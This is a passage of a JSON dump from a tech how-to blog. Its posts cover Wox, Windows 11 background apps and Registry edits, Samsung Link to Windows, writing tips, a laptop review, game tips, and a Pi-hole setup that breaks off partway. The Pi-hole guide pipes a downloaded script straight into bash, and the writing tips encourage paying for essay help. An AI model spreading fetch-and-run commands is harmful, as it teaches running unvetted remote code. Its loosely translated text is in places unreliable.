account from being stolen Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXarApnnInKOorZRivK951qKlnaenqA%3D%3D\n","link":"/post/how-to-install-and-use-icloud-on-windows/","section":"post","tags":null,"title":"How to install and use iCloud on Windows?"},{"body":"The simple reason \"because it's faster and more streamlined\" won't be convincing enough for most people. However, Wox also has many additional functions included by default. Plus, various types of extensions can make Wox a versatile toolkit.\nSee how you can use Wox not only to launch apps, but to search online, execute commands, and replace alarm and calculator tools.\nHow to install Wox To get started, download the latest version of Wox from its official page at GitHub here.\nThe article recommends using the full installer, including all dependencies, to avoid having to search for additional files later. One of those dependencies is the popular \"Everything\" tool, which Wox relies on to index files.\nInstall Wox like any other application, then run it. You will see a small green icon in the window tray. To invoke the active program and launch applications using Wox, press the default Alt + Space key combination. Start typing the name of the software you're looking for, and when Wox locates it, press Enter to run it.\n  How to Customize Wox Wox is first and foremost a launcher, allowing you to quickly locate and run any application installed on your PC. Therefore, it can help you skip the cumbersome Start menu completely, like the best Windows Start menu alternatives that TipsMake.com mentioned before.\nIt's simple enough to start using right away, and while it doesn't look much different from Windows' Run dialog, it's actually quite feature-rich. To use them, you'll have to go into Wox's settings first. This seemingly simple application allows you to customize or extend with plugins. You'll find those options by right-clicking on the window and choosing Settings.\n  From the General tab, you can choose whether Wox automatically runs at system startup and whether its window automatically hides.\nFrom the same place, you can tell it to remember the launch location and automatically update when a new version is available. You can also change the interface language and the number of suggested results.\n  You can change the look and feel of Wox from the Theme tab. You can choose one of the themes that come with Wox from the list on the left.\nHowever, since Wox doesn't look too eye-catching, don't expect those themes to completely change its look. You can see the theme preview in the larger part of the window, on the right.\nYou can also click the links through existing themes to browse through other themes, change the font for the query field and the results from the drop-down menu below the preview.\n  If you don't like Wox's default hotkey, go to the Hotkeys tab and change it. You can also add more hotkeys for action keywords if you want.\nExtend Wox with plugins Do not leave the settings menu, because you are about to discover the most interesting part: Plugins.\nWox comes installed by default with built-in plugins and further installation is as simple as typing a simple command in the window.\nFor this guide, TipsMake.com will introduce some of the coolest and most useful plugins for Wox - both the ones that come with it and the third-party plugins you can install.\nNote that, for third-party plugins, the article has also included the command you'll need to install them, so you won't have to search online. You can copy the install command and paste it into the main Wox window, then click on the item that appears below to install the plugin.\nBrowser Bookmarks wpm install Browser Bookmarks With the Browser Bookmarks plugin active, start the query with the letter \"b\" in Wox to search among default browser bookmarks instead of installed apps.\nCalculator You can find a full range of calculation tools on Windows, ranging from basic solutions to quite complex options. However, Wox can play that role too! Try typing a simple action, such as:\n1 + 1 3.14*3.14 500-250   Wox can take the place of a calculator for basic operations - just enter calculations and their results will show up in near real time.\nWox will present the result of the operation instead of its typical application suggestions and offer to copy the number to the clipboard.\nNote that you can also perform more complex operations by grouping them with parentheses:\n((256 * 2) * 4) + (1024/2)\nClipboard History wpm install Clipboard History   You can use the Clipboard History plugin for Wox as an alternative to a full clipboard manager.\nOnce installed, type \"cb\" into Wox and instead of the app it will show recent entries in the clipboard. You can track keywords with a query to look for a specific string in those entries.\nClose Screen wpm install Close Screen Do you hate the fact that the laptop screen is always on and want an easy way to turn it off without having to turn off the computer? Please install the Close Screen plugin. Then, type Closeescreen into Wox and press Enter. The display will temporarily turn off until you return to your computer.\nPowerPlan wpm install PowerPlan It's been a long time since Windows had support for power plans, profiles that define the performance/power ratio. They come in very handy if you're using a laptop, allowing you to choose whether you want to prioritize performance or battery life.\n  With the PowerPlan plugin installed, switching between power plans is not difficult. Type \"pp\" into Wox and select the desired profile.\n  Shell Instead of switching to the old Run dialog, running Command Prompt or newer PowerShell, you can type commands directly into Wox.\nType \"\u0026gt;\" to indicate that you're typing a command and not a regular query, followed by the command, and then press Enter.\nSystem command Wox comes with the following simple but important built-in system commands:\nShutdown Restart Log off Lock Sleep Empty Recycle Bin Exit Restart Wox Settings Type commands and press Enter to use them.\nURL While not a 'huge' feature, it's worth noting that Wox can detect that you're entering a URL instead of a command or query. Then instead of trying to \"deal with it\" yourself, Wox will forward the URL you entered to the default browser.\nProcessKiller wpm install Wox.Plugin.ProcessKiller If you want an even lighter and faster solution than Windows Task Manager for any unresponsive processes, the ProcessKiller plugin can help you with this.\nOnce installed, type \"kill\", followed by the process ID or the name of an application to close it definitively.\n  SimpleClock wpm install Wox.Plugin.SimpleClock(fix) Do you want an easy way to set up timers and alarms quickly? SimpleClock does exactly that. Add it to Wox and type \"clock\". Then, select the time-related function that interests you, from among the timer, stopwatch, etc.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiutOlsGakkaq7pLSMmqepq12strW0jLCmsWWfo3q4tc2dprCr\n","link":"/post/how-to-instantly-launch-apps-with-wox-on-windows/","section":"post","tags":null,"title":"How to Instantly Launch Apps with Wox on Windows"},{"body":"On Windows 10 you can easily find a page dedicated to managing background apps. However, on Windows 11 this will be a bit more difficult. However, Windows 11 still allows you to turn off background applications. You can set up for individual applications or for all applications, setting up a single user to activate all users on the computer.\nNote: What TipsMake.com instructs you in this article only works with apps you install from the Microsoft Store. All apps you download from other sources will not have settings to set to run in the background. Also, stopping apps from running in the background doesn't mean you can't use them. You can still run these apps normally.\nThere are several ways for you to disable background applications on Windows 11. Here are the details on how to do it:\nTurn off background apps in Settings Step 1. Open Settings in Windows 11. You can use the shortcut Win + I to quickly open or use other methods.\nStep 2. Click on App then continue to click Apps \u0026amp; features.\n  Step 3. Find the app you want to disable from running in the background. Click the 3 dots and then select Advanced options.\n  Step 4. Find the Background apps permissions section and select the mode you want. By default, Windows 11 will be set to Power optimized mode. It allows Windows to self-manage how an application behaves in the background. For example, the system will automatically turn off all background applications if you enable battery saving mode.\n  Step 5. Select Never mode to prevent the application from running in the background. However, if after selecting Never the application crashes, does not send notifications, does not update data, you should switch its settings back to Power optimized or Always.\nStep 6. Repeat the above operation with other applications.\nIn Windows 11's Settings there is no button for you to turn off all background applications at once. Therefore, we will continue to the next section, using the Registry.\nTurn off all background applications on Windows 11 using Registry Step 1. You press Win + R to open Run then type regedit and press Enter.\nStep 2. Access the following key:\nHKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/BackgroundAccessApplications Step 3. In the right window, edit or create a DWORD (32-bit) Value named GlobalUserDisabled.\n  Step 4. Put 1 in the Value data box to prevent all background applications on Windows 11.\n  Step 5. Reboot the device to apply the change.\nTo undo the changes, simply adjust the value of GlobalUserDisabled to 0 and you're done.\nUse pre-made REG files If you don't want to waste time editing the Registry, you can download the REG file that TipsMake.com makes available.\nStep 1. Download the ZIP archive of the pre-made REG file here.\nStep 2. Extract to any folder.\nStep 3. Double-click the closeapp.reg file to close all apps running in the background.\nStep 4. Confirm the action and then restart the machine.\nYou can undo the change by double-clicking the openapp.reg file in the ZIP file you just downloaded.\nTurn off apps running in the background on Windows 11 for all users with Group Policy Besides the Registry, you can use Group Policy to turn off apps running in the background on Windows 11 with all users on one computer. With Windows 11 Home unable to open Group Policy, we will also provide a pre-edited REG file.\nStep 1. Open the Local Group Policy Editor by pressing Win + R and then typing gpedit.msc then pressing Enter.\nStep 2. Navigate to the folder: Computer Configuration/Administrative Templates/Windows Components/App Privacy\n  Step 3. On the right pane, find and click Let Windows apps run in the background and select Enabled.\n  Step 4. In the Default for all app menu, select Force Deny. Click Apply and OK.\nSo you've turned off the background app for all users on a computer running Windows 11.\nAs mentioned, Windows 11 Home does not allow you to use the Local Group Policy Editor, so you have to use the Registry to turn off background apps for all users.\nTurn off apps running in the background on Windows 11 for all users using Registry Step 1. You press Win + R to open Run then type regedit and press Enter.\nStep 2. Access the following key:\nHKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/AppPrivacy If you can't find AppPrivacy, you can create a new one yourself by right-clicking on Windows and then selecting New \u0026gt; Key.\n  Step 3. Once you have AppPrivacy, click in the right box to create a DWORD (32-bit) Value named LetAppsRunInBackground and set the value to 2.\n  Step 4. Restart the computer.\nUse pre-made REG files As usual, TipsMake.com has pre-made REG files for you to download to quickly change the Registry. There are two REG files, closeappalluser.reg and openappalluser.reg, respectively with the function of turning off and on the app running in the background, you download the ZIP file and then extract and use:\nDownload the REG file to turn off the app running in the background for all users here Good luck!\nhow to turn off apps running in the background windows 11 turn off apps running in the background windows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJqooKh6s8HNp6Cnn12eu27Ax55km5mToLSzu9Snm2avmaOxsMPSZmhqZZikxG7AzmapnpylmLJuvsCmZJynnqjCrrzToqanZZ%2Bjeri1zZ2msKtdZn4%3D\n","link":"/post/how-to-turn-off-apps-running-in-the-background-windows-11-how-to-reduce-ram-consumption-on-windows-11/","section":"post","tags":null,"title":"How to turn off apps running in the background Windows 11, How to reduce RAM consumption on Windows 11"},{"body":"Link to Windows is an extremely useful service available on most Samsung Galaxy phones today. This service helps you keep track of phone notifications and messages right on your Windows PC, and the best thing is, you don't need to connect the two devices. In fact, this service is integrated for Android One UI version, making it easier and more convenient to use. Here's what you need to know about Link to Windows and how to use it on Galaxy phones.\nHow to install Link to Windows on a computer Before using Link to Windows on your phone, you must install it on your computer first. Please follow the steps below:\n1. Use the search bar in the taskbar.\n2. Type ' Your Phone ' and select the first result.\nFind Your Phone in the search bar 3. Select Android from the device list.\n4. Select ' Link phone ' to set up the service with your phone.\nSelect Android and press Link phone That is all you need to do with a computer. Temporarily leaving it aside, we switch to the settings on the phone.\nHow to install Link to Windows on Samsung Galaxy phones Microsoft applications preinstalled in Samsung include the Office suite and the LinkedIn app on all Galaxy phones. Starting last year, Samsung has integrated Microsoft's Your Phone service into One UI operating system, called Link to Windows.\nAs mentioned above, Link to Windows allows you to keep track of all your phone notifications from your computer. Although this service integrates with most Galaxy devices today, it is still hidden in the settings, making it easy for users to miss. Here's how to install it on Galaxy S and Note series:\n1. Open Settings\u0026gt; Advanced features\u0026gt; Link to Windows .\nLink to Windows is in the Advanced features section 2. Select Link your phone and PC .\n3. Click Sign in with Microsoft and log in with your Microsoft account.\nLog in to your Microsoft account 4. Once logged in, you will get access to messages and notifications. Click Continue to continue.\n5. Press Allow to allow the application to access contacts.\n6. Select Allow next to allow the application to manage calls on the device.\nAllows access to contacts, phones, notifications 7. To allow access to memory capacity, continue to press Allow .\n8. Finally, to allow access to the message, press Allow .\n9. When done, you will see the PC list is automatically updated. Click Link your PC to finish the installation.\n Link to Windows is a useful service if you want to receive notifications on your phone while working on your computer. It works well, does not take much time to install and can be used directly. If you've used older Samsung models and don't see this option in settings, try using Microsoft's Your Phone Companion, which is similar to Link to Windows.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqttc2kZK2nXay2r7DOsKpmp55iwKK50q6loGWXlrmixNhmp6GnnprA\n","link":"/post/how-to-use-link-to-windows-on-samsung-galaxy-phones/","section":"post","tags":null,"title":"How to use Link to Windows on Samsung Galaxy phones"},{"body":"Paper Writing Guides Condensed: 9 Top Tips on Writing Academic Papers   If you are interested in these things at all, you probably know that you can find dozens upon dozens of paper writing guides on the Internet. They present this topic from all possible sides: some deal with essays, others with term papers, still others with coursework and dissertation writing. Some focus on formatting, others cover overall structure, still, others deal with stylistics. It is easy to get lost in all this information; and, of course, when you have to submit your academic paper tomorrow, it is a little bit late to study all these guides. In this article, we will give you a quick and dirty rundown of the most important tips that will help you write your assignment.\n1. Choose the Right Topic Whether you study in school or university, the topic is what makes or breaks a paper. Choose poorly, and you will be stuck with an assignment that will be difficult to write while unlikely to bring you a good grade. Look for a topic you are personally interested in and know a lot about in addition to what you have learned in class.\n2. Prepare a Plan/Outline Some students believe that writing an outline means wasting time, as you can spend this time writing the essay itself. However, most professional writers agree that every minute spent preparing a plan or an outline saves at least five minutes later on. If you follow an outline, you are less likely to forget something, you do fewer rewritings, and the overall structure of the paper is better.\n3. Check, Edit, Proofread After you finish your paper, do not be in a hurry to submit it. Let it alone for a day or two, then check, edit, and proofread it. You will be amazed how many flaws and mistakes have evaded your attention before. To improve your results, you can hire an online proofreading company to assist you with this task.\n4. Do not Use Plagiarism. Ever Getting accused of plagiarism is probably the worst thing that can happen to a student in regard to his/her academic work. You may think, 'Nobody is going to punish me if I simply copy a few fragments here and there and add them to my paper'; however, these days even high school teachers use plagiarism detection tools that make short work of such practices. If you write a serious assignment, like a college admission paper, you should make sure that your writing does not accidentally resemble any existing texts on the topic.\n5. Use Active Voice It is not exactly a law, but most authorities agree that you should prefer active voice to passive wherever possible. It makes your writing easier to follow, removes unnecessarily convoluted structures, and gives your style a more lively, energetic feel. However, do not mechanically replace all passive voices with active ones – in some cases, it is still an optimal choice.\n6. Vary Your Sentence Length and Structure The writing style is important, even if you study business or another similarly pragmatically oriented discipline that is not supposed to be overly concerned with such things. If your writing is choppy (i.e., consists of very short and similarly structured sentences) or, vice versa, if it is full of long-winded and convoluted sentences, it will leave an unpleasant impression and will be hard to follow.\nIf you want not just to transmit the information, but also use the right style, use sentences of varied length and structure. Follow a few short sentences with a longer one. Avoid using several sentences using the same structure one after another. Use different types of punctuation marks to further increase the variety of your expression.\n7. Be Concise Both when you write and when you edit and proofread your paper, constantly ask yourself, 'Do I really need this word/sentence/paragraph? Can I do without it? Is it necessary to get across the message of the paper as a whole?' Adding extra words is cheap and easy, anybody can do it. It is expressing your ideas in as few words as possible that is the true sign of an excellent writer.\n8. Make Sure You Follow the Instructions You will be amazed how many students get poor grades simply because they failed to read the instructions carefully or didn't bother to learn the specifics of formatting used in their college. For example, formatting conventions in the UK are different from those in the USA, and if you do not know it, you are bound to make some mistakes.\n9. Do Not Be Afraid to Ask for Help Many online services offer writing assistance for sale. If you feel your qualifications are not enough to deal with your task, do not shy away from soliciting their help.\nWe hope that these tips will be helpful the next time you have to write an academic paper!\nncG1vNJzZmismaXArq3KnmWcp51krq24jKmYqZ2iYsSztdOipaBll6q2pbHSZqCnZZ%2Bjsm60zrBkraddrL%2BqwMRmmGasn6W7sMDCoWSpoZWYsg%3D%3D\n","link":"/post/how-to-write-a-top-notch-piece/","section":"post","tags":null,"title":"How to Write a Top-Notch Piece?"},{"body":"The use of chat, texting, voice calls like Zalo will help us to contact friends quickly and free with many other rich features. However, users are forced to face a lot of troubles, especially annoying messages. Surely many times you receive messages from strangers who are not on the list want to make friends, even with quite a lot of weeks. So it is necessary to set up a block of messages from strangers, not on the friends list on Zalo.\nVideo blocking strangers messages on Zalo How to block Zalo messages from strangers Step 1:\nFirst of all, we will access the personal account Zalo on the device. At the main interface, click on the 3 horizontal dots icon on the right corner of the screen. Then, click on the lock icon in the lower left corner of the interface.\nNext, in the Privacy settings view , default Receive messages from strangers always in On mode. To disable this feature, switch to Off mode , by swiping the horizontal bar to the left .\n    Step 2:\nIf we have not yet set up this feature, we can also block strangers right in the message interface . When a stranger sends you a message, click Block above. It will immediately appear that you want to block this person, click Yes . We will receive a notification that we will no longer receive messages from this person. To receive messages from this person, click the unblock above item.\n    Thus, when we have activated the message blocking feature from anyone, anyone who is not in the list of friends will send you a message like the one below.\n  Operation to turn on the mode of not receiving messages from strangers on Zalo will help users to limit spam messages from people who do not know. Besides, you should also combine with some methods to protect personal information, set up privacy mode on Zalo in the article Instructions for setting up privacy mode for Zalo account that Network Administrator has introduce.\nRefer to the following articles:\nHow to backup and restore Zalo messages on your phone If your Zalo password is lost, try this! Instructions for making video calls on Zalo I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnNqKtmqpWYsqrCxGaknqujlrSmv4yfqailXajBs63NoJyrq12ku27GwKWm\n","link":"/post/instructions-on-how-to-not-receive-messages-from-strangers-on-zalo/","section":"post","tags":null,"title":"Instructions on how to not receive messages from strangers on Zalo"},{"body":"Lenovo's ThinkPad series is the best laptop on the market. No matter which model you buy, you can be sure that you are getting one of the best laptop keyboards and a solid overall build quality.\nThey are quite expensive, so the decision will be a little difficult. Many people choose the ThinkPad X1 Yoga, but if you don't want to spend that much money, choose the ThinkPad L390 Yoga.\nThe L390 Yoga has some of the best elements from the X1 Yoga, but for less than $ 1000.\nTechnical data CPU Intel Core i5-8265U (1.6 / 3.9GHz, 6MB) GPU Intel UHD 620 Integrated Graphics Dimensions 321.8 x 224.2 x 18.8mm. Weight: 1.56kg, 13.3 \"FHD display (1920x1080), quick flare, LED backlight, IPS, 300 nit, 16: 9 aspect ratio, 800: 1 contrast ratio, 72% color gamut, 170 ° viewing angle 2) USB 3.1 Gen 1 (2) USB 3.1 Type-C Gen 1 (1) HDMI 1.4b (1) Ethernet (1) MicroSD card reader (1) Headphone jack / microRAM8GBx1 DDR4 2400MHz Capacity SSD M.2 256GB (2280) PCIe NVMe Opal2 Connect Intel Wireless-AC 9560, WiFi 2x2 802.11ac + Bluetooth 5.0, M.2 card Audio 2W x 2, Dolby surround sound Audio Windows Hello Van Hand Color Black, Silver Material Screen cover: Magnesium / Aluminum Bottom: GFRP (Fiberglass reinforced plastic) Operating system Windows 10 Pro Price $ 863.20 (VND 19,850,000) Design The Lenovo ThinkPad L390 Yoga is a combination of magnesium and aluminum, the rest is made of fiberglass reinforced plastic.\nThe machine feels solid. Like all ThinkPad models, the Lenovo ThinkPad L390 Yoga has passed 12 tests, helping it resist bumps, vibrations, moisture, extreme temperatures, sand, dust, fungi, altitude and solar radiation. .\nIt comes in black and silver, and looks like the old ThinkPads (using the ThinkPad logo and silver hinges).\nThe ThinkPad L390 Yoga has a lot of ports. On the left side of the device, there are two USB 3.1 Gen 1 Type-C ports, one of which can be used for charging. Sorry, there's no Thunderbolt 3. There's also a USB 3.1 Gen 1 Type-A port and HDMI 1.4b.\nOn the right, you'll find another USB 3.1 Gen 1 Type-A port, Ethernet mini, micro-SD card reader and 3.5mm audio jack. This is also where you will find the power button and where to touch the stylus.\nIt's also worth noting that the L390 Yoga is a little thicker and heavier than its high-end rivals. If you're looking for a really light laptop, then this is probably not the right choice.\n12 best thin and light laptops 2020 Screen The Lenovo ThinkPad L390 Yoga has a 13.3-inch anti-glare screen, with 3 options: 1366 x 768, 1920 x 1080 and 1920 x 1080 with multi-touch.\nIn terms of color accuracy, the screen is of good quality. However, the brightness and viewing angle are not very good. The brightness of this screen is up to 300 nit, so you'll struggle to use it outdoors.\nIn addition, a 170 degree viewing angle is good for most use cases. However, it cannot match the 178 level of more advanced PCs. Lastly, you'll be quite happy with the price review screen (you should definitely use the 1080p option instead of the basic WXGA model). The extra pixels make a big difference.\nKeyboard The keyboard is one of the biggest advantages of the ThinkPad L390 Yoga. This laptop offers one of the most comfortable keyboard experiences available.\nThe touchpad is also fairly sturdy. There are three buttons above it. These buttons were created for use with Trackpoint.\nUsing Trackpoint will take a while to get used to, but you'll love it. For example, using it with the middle mouse button would be great for scrolling. Trackpoint is also good for selecting areas of the screen with the Snipping Tool. Using Trackpoint and a dedicated button makes it much easier than just using a clickable trackpad.\nAnd if you don't like it, you can turn off Trackpoint through Lenovo's Vantage app (which is also where the driver update is). The only thing that many people don't like about the ThinkPad keyboard is the Fn key located to the left of the Ctrl key. You can also swap their functionality in the Vantage application, so that the Fn key acts as the Ctrl key and vice versa. The keyboard does not have a Lift and Lock feature .\nEfficiency The tested ThinkPad L390 Yoga includes a Core i5-8265U CPU, 8GB of RAM and a 256GB SSD.\nYou can also configure the machine with 4 times more RAM than this test device. With Core i7-8565U and 32 GB RAM, everything you throw will be easily handled.\nFor general productivity tasks, the ThinkPad L390 Yoga is quite good. However, you should not play games or edit videos.\nThe author didn't have any trouble working with a common workflow, including things like typing into a browser, using OneNote, leaving Skype and Slack running in the background. The L390 Yoga handles all that well.\nFor benchmarking, the article used PCMark 8 and PCMark 10. As you can see, the ThinkPad L390 Yoga works well, but not as well as the Core i7.\nThe next test is to test tasks that use more GPUs such as video editing and gaming. Obviously, the ThinkPad L390 Yoga did not do well on this test.\nIn a test focused on productivity-related tasks like writing and spreadsheets, this PC performed poorly.\nThe benchmark tests show what you can expect from the Core i5-8265U and 8GB of RAM. If you want more, switch to Core i7.\nConclude The Lenovo ThinkPad L390 Yoga is not the best laptop in the world, but you don't have to pay a premium price to own it.\nLike all ThinkPads, it has one of the best keyboards and especially a convenient pen compartment. By turning on the pen, you can use all of the features available in Windows Ink, such as handwritten notes, drawing, writing on photos, etc.\nThe laptop is a bit thick and heavy, but for less than $ 900, you'll be happy with what you get.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqSVo7y3u4ytn6Kmm6WupXnLbHBpZamktKJ5xqucmqxdm7KiwNSrnGaZlpu8s7DAm6Oe\n","link":"/post/review-lenovo-thinkpad-l390-yoga-great-feature-affordable/","section":"post","tags":null,"title":"Review Lenovo ThinkPad L390 Yoga: Great feature, affordable"},{"body":"Domenation Mode, also known as Pirates, is a very interesting game mode in Call Of Duty Mobile. Pirates mode is integrated on maps such as Crossfire, Fries Range, Standoff, Takeoff, Raid, Hijacked, Crash, Natuown.\nDomination is different from the other modes in Call of duty mobile, the goal of both teams is to collect as many points as possible. Specifically, players need to stand in the circle at point B marked for at least 10 seconds without being attacked by enemies.\nAnd if you lose the flag, you can get it back that way. Points will be added when the player destroys, supports and loses the flag. The winner will be the team that gets the first 100 points, and sometimes it's not easy to do without the Domination Mode tips below.\nSummary of common game terms and their meanings How to add external games to Lulubox How to download and install Map Minecraft Some tips on playing Domination Mode Call Of Duty Mobile Avoid unnecessary gun battles   Yes, see shooting, do not have fun and then into fighting. As mentioned above, in Domination Mode the fight doesn't matter even though it earns points for your team, but if you can avoid it then avoid it. You can use that time to get your C points first.\nGet the B fast   Point B is said to be a hot spot because if a team wins this point before the enemy will benefit. So let's get the B point as quickly as possible, you don't need to invite the whole team to come here to \"occupy the land\".\nIt only takes one quick member of the team to get a B point. If possible, get a C because your enemy really doesn't expect it to happen. At this time, speed will be the most important factor in Domination Mode.\nSMRS would be the ideal weapon   SMRS is a anti-tank gun of COD Mobile. The power of an SMRS bullet can detonate a small area. It is like an ideal mini Bazooka in Domination Mode if it encounters a group of enemy soldiers huddled together, something that is very common in the \"Pirates\" mode.\nTake advantage of smoke bombs   Smoke bombs will have the effect of fooling the enemy and help you not to be attacked while stealing flags. Just throw a smoke bomb at the point of stealing the flag, even if an enemy attacks, you can only shoot indiscriminately, and shoot indiscriminately, you will know in case of protection, or if they come close, you can easily kill. Destroy with close-range weapons.\nUse the Lightweight Perk skill   The most important factor in Domination Mode is speed. And the Lightweight Perk skill will probably be the most appropriate choice. Your speed will be increased by 10%, but not much, but it will help you to be faster than the enemy.\nAnother benefit of Lightweight Perk is that it reduces damage when dropped from high places. You can jump off high places without fear of losing blood if you have this skill.\nBased on the tips above and done correctly, the ability to \"Steal the Flag\" has increased quite a bit. If you have not participated in Domination Mode or do not play well in this mode, then try to try one or more of the tips above.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80manpZmpYrGwucinmK2hn6N6rrvDnmScmZyherCyjJ2srbFdoryjtcueZJ6elpqwtbXVnqOy\n","link":"/post/tips-play-domination-mode-call-of-duty-mobile-effectively/","section":"post","tags":null,"title":"Tips play Domination Mode Call Of Duty Mobile effectively"},{"body":"Here is a list of 10 beautiful infographic creation websites for you to choose from!\n1. Canva   Canva is a website that specializes in design and has a collection of modern designs that catch the latest \"trends\" on the market. You can create an Infographic template from a blank page with drawings, sample images on Canva or can be creative based on the Infographic templates available on Canva to design.\n2. Piktochart   Piktochart helps you create eye-catching infographics and summarize complex, confusing information into a clean, easy-to-read presentation. Design templates on Piktochart are quite diverse with many topics in different life areas.\n3. Infogram   Infogram is free for users with basic needs, allowing you to create beautiful and unique chart, graph, and infographic templates. You can create Infographics based on existing templates and change data, charts with many different templates located in Infogram's database.\n4. Visme   Visme gives you a library of images, templates and even videos to create infographics. With more than 100 beautiful fonts to help you freely create eye-catching content on Infographic and you can create more effects, animations to make your Infographic stand out more.\n5. Easelly   Easelly provides users with a lot of beautiful infographic templates with a variety of topics. You can use simple drawings such as arrows, squares, circles, polygons . to arrange a frame for your Infographic. The next job you need is to fill in the content, color it to highlight your Infographic.\n6. Snappa   Snappa is an online graphic design and infographic design utility that is part of Snappa. With a huge stock of templates up to 6000+ pre-designed graphic templates and 5,000,000+ HD photos of all genres, you can freely choose your favorite graphic template for your Infographic.\n7. Venngage   Venngate makes it easy for users to create and choose the right Infographic template for their needs. You can choose from different types of charts, image templates, graphics, icons to create in your Infographic.\n8. Adobe Spark   Adobe Spark is an online graphic design utility that can sync data via Adobe Creative Cloud and is compatible with Adobe's utility software. You can design your own or create more from the designs available on Adobe Spark. Free users will have limited features along with a rather meager template library. If you subscribe to the Premium plan with Creative Cloud service, this utility is really worth it when you use it to design professional Infographics.\n9. Mind the GRAPH   Mind the Graph gives users a variety of beautiful and diverse chart and infographic templates. With thousands of useful content such as templates, sample images, drawings. will definitely help you a lot in brainstorming ideas and designing the right Infographic template for you.\n10. PicMonkey   PicMonkey has a pretty and user-friendly interface. A variety of templates and drawings give users many choices when designing Infographics. However, you have to pay a monthly fee to use PicMonkey with all the new and most attractive features, the trial account is limited to many features and will expire soon if you do not upgrade to the premium version.\nWith 10 online tools in the article, you can try and create your own beautiful and creative Infographic templates. Good luck!\nTop 10 create Infographic ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZq%2BVl8CqwMSsZK2nXZi%2Fpq3TnmSbnZGqwaqy1KVkoqaWpLSzrc%2BhoJyr\n","link":"/post/top-10-websites-to-create-beautiful-infographics/","section":"post","tags":null,"title":"Top 10 websites to create beautiful infographics"},{"body":"While there are many ad-blockers that can remove ads from your computer, they rarely work on other devices, such as smartphones or tablets.\nThis article will show you how to convert a Raspberry Pi into an ad blocker all over the network, using Pi-Hole. Once completed, you will be able to block ads on laptops, computers, smartphones, tablets and any other devices connected to the network.\nBlock ads for the whole network with Raspberry Pi Things to prepare Install Pi-Hole on Raspberry Pi Choose a DNS provider Which blacklist should Pi-Hole use? Choose Internet Protocol IPv4 or IPv6 (or both)? Configure static IP address Tracking Pi-Hole with web administration interface Log Pi-Hole data Log in to your Pi-Hole account Resovle problem Update the router: Create an ad blocker all over the network How to block online ads on specific devices 1. Windows 2. Linux 3. macOS 4. iPhone 5. Android  Things to prepare To complete this tutorial, you will need:\nRaspberry Pi runs Raspbian. If Raspbian is not installed, download the latest version and flash it using Etcher. The power cable is compatible with the Raspberry Pi External keyboard and how to attach it to a Raspberry Pi HDMI or micro HDMI cables, depending on the Raspberry Pi model External screen Connect Ethernet cable or WiFi After assembling the tools, you are ready to create ad blockers across the network.\nInstall Pi-Hole on Raspberry Pi First, attach an external keyboard, monitor, and any other peripheral to the Raspberry Pi, then attach the Pi to the power source.\nAs soon as the Raspberry Pi boots up, you're ready to download the Pi-Hole installation script. Just launch Terminal (by clicking the Terminal icon in the Raspbian toolbar), then enter the following command in the Terminal window:\ncurl -sSL https://install.pi-hole.net | bash Press Enter. Raspbian will download the script and start the device configuration process to use Pi-Hole.\nAfter a few moments, the Pi-Hole setup screen will automatically launch.\nAfter running the installation script, the Pi-Hole setup dialog will automatically launch.\nKeep pressing Enterto switch through the introductory screens until you are asked to let the Pi-Hole work over WiFi ( wlan0 ) or Ethernet ( eth0 ).\nUse the arrow keys to select wlan0 or eth0 Use the arrow keys to select wlan0 or eth0 (this guide is using WiFi) and press Enter.\nChoose a DNS provider You need to choose an upstream DNS provider, which will be responsible for answering queries for non-advertising domains.\nPi-Hole supports the following pre-installed DNS providers, but you can enter your provider by selecting Custom.\nGoogle (ECS) OpenDNS (ECS) Level3 Comodo DNS.WATCH Quad9 (filtered, DNSSEC) Quad9 (unfiltered, DNSSEX) Quad9 (filtered + ECS) Cloudflare This guide is using Google, but you can choose any DNS provider you like.\nWhich blacklist should Pi-Hole use? Specifies a list that Pi-Hole should use to identify and block unwanted content.\nSpecifies a list that Pi-Hole should use to identify and block unwanted content Unless you have a specific reason to change these settings, leave the default options as they are.\nChoose Internet Protocol IPv4 or IPv6 (or both)? It doesn't matter whether you choose IPv4 or IPv6, but if you want to block as many ads as possible, you should choose both IPv4 and IPv6.\nConfigure static IP address Use current network settings as static address Pi-Hole. Assuming you are very satisfied with the information displayed on the screen, use the arrow keys to select Yes , then press Enter.\nRead the disclaimer carefully and if you agree, select OK.\nTracking Pi-Hole with web administration interface You will be asked if you want to install the Pi-Hole web administration interface. This interface provides insight on how the Pi-Hole works online, so you should choose to install the web interface when prompted.\nYou should choose to install the web interface when prompted If you are installing the web management interface, you should also install lighttpd web server when prompted.\nLog Pi-Hole data You can choose to disable Pi-Hole logging capabilities, but you should enable it, as they provide some useful information.\nYou will be prompted to select the privacy mode for FTL, this is the level of information that will be included in Pi-Hole statistics. Choose one of the following options:\nShow everything : Show everything. Hide domains : Show and store all domains as hidden. Hide domains and clients : Display and store all domains as hidden and the client is 0.0.0.0. Anonymous mode : Hide all details except the most anonymous statistics. Disabled statistics : Disable all statistical processing, including query counters. Log in to your Pi-Hole account The setup dialog box will display the address of the Pi-Hole web administration interface and the password you need to log into this interface. Please record this information!\nIf you access the provided URL, you will encounter the standard Pi-Hole web interface and be able to log in with your password.\nThe web administration interface is divided into the following sections:\nQuery log : This will display the most recent queries that have been made to the DNS server. Whitelist : You can specify domains that Pi-Hole should never block. Blacklist: Are some ads still trying to get past Pi-Hole? If you can identify the domain responsible for these fake ads, you can add it to your Pi-Hole blacklist. Disable: This is where you can temporarily or permanently disable Pi-Hole to see all your favorite ads again! Update lists: Make sure you have the latest version of the Pi-Hole ad blocking list by activating manual updates. Query adlists : Use this tool to check if a specific URL is included in the Pi-Hole ad blocking list. Tail pihole.log : This tool allows you to check the Pi-Hole log file, so you can see exactly how Pi-Hole is handling incoming requests. Settings : You can make some changes to the Pi-Hole configuration, including the upstream DNS provider you want to use. This is only a brief overview of the Pi-Hole web administration interface. It is well worth the time to 